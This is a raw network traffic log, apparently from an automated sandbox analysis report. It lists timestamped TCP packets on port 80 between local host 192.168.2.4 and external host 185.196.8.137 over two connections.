Apr 9, 2024 14:54:04.817058086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817110062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817172050 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817255974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817374945 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817506075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817574978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817744017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817874908 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.817975998 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818016052 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818030119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818109989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818192005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818236113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818336010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818351030 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818427086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818502903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818836927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818852901 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818881989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818897009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818911076 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818977118 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.818991899 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.819025993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.819133997 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.819191933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.819209099 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.819288969 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.821890116 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.822016001 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.822074890 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.822113991 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.822225094 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.822241068 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.836795092 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.836811066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.836920977 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.836958885 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837146044 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837379932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837457895 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837506056 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837558985 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837626934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837685108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837728024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837829113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837910891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837976933 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.837997913 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838316917 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838331938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838362932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838418961 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838433981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838521957 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838571072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838587046 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838659048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838740110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.838918924 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839229107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839262009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839328051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839590073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839622974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839740038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839756012 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839787960 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.839802027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840572119 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840840101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840856075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840920925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840935946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840976000 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.840991974 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841006994 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841021061 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841048956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841063976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841078043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841092110 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841105938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841120958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841134071 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841202021 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841306925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.841415882 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.842324972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.842339993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.842422009 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.842562914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849340916 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849358082 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849392891 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849441051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849498034 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849560976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849637985 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849653959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849709988 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.849785089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.850018024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852730989 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852796078 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852830887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852863073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852895975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852929115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852962017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.852993011 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853029013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853061914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853094101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853126049 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853207111 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853239059 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853336096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853369951 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853401899 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853574038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853692055 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853725910 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853758097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853846073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853878975 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853910923 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.853996992 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854031086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854119062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854387999 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854438066 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854533911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854566097 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854609013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854686022 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854743958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.854775906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.855664015 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.855695963 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.855762005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.855804920 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.855850935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856061935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856199980 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856252909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856317043 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856359959 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856419086 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856475115 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856535912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856611013 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856713057 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856729031 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856770992 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856821060 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856905937 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856920958 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856935978 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.856960058 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857237101 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857280016 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857297897 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857368946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857491970 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.857557058 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909341097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909409046 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909450054 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909488916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909506083 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909506083 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909531116 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909569979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909584045 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909584045 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909607887 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909621954 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909651995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909663916 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909692049 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909710884 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909730911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909770966 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909770012 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909770966 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909810066 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909817934 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909849882 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909863949 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909888983 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909897089 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909926891 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909943104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.909965038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.909971952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910003901 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910020113 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910048008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910053968 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910088062 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910098076 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910126925 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910146952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910166025 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910170078 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910203934 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910219908 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910244942 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910247087 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910285950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910295963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910321951 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910325050 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910360098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910393953 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910430908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910443068 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910469055 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910481930 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910506964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910517931 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910547972 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910564899 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910586119 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910619020 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910625935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910660028 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910664082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910701990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910717964 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910739899 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910753012 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910778999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910816908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910820961 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910837889 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910855055 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910893917 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910904884 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910931110 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910944939 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.910969019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.910985947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.911001921 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.911032915 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.911036968 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.911070108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.913518906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.913723946 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915234089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915433884 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915481091 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915515900 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915617943 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.915724039 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.916181087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.916392088 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.916472912 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.916759014 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.919169903 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920495033 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920527935 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920741081 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920773983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920810938 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.920916080 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921365976 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921518087 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921554089 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921585083 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921726942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921770096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921930075 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.921963930 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922066927 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922416925 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922451019 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922485113 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922553062 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922585964 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922703981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922787905 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922852039 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.922938108 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.923002005 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.923105955 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.923223019 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.923674107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.924654007 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.924832106 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.927745104 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.928385973 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.928529024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.928564072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.928690910 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.929078102 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.929199934 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.929296017 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.929888010 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.929989100 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930023909 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930118084 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930361032 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930449963 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930577993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930609941 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930641890 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930675983 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930706024 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930737972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930808067 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930864096 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.930927038 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.931041956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.931112051 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.931241035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.931714058 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.931750059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.931750059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.931750059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.931750059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.931750059 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.932203054 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.940455914 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940493107 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940574884 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940612078 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.940642118 CEST	80	49740	185.196.8.137	192.168.2.4
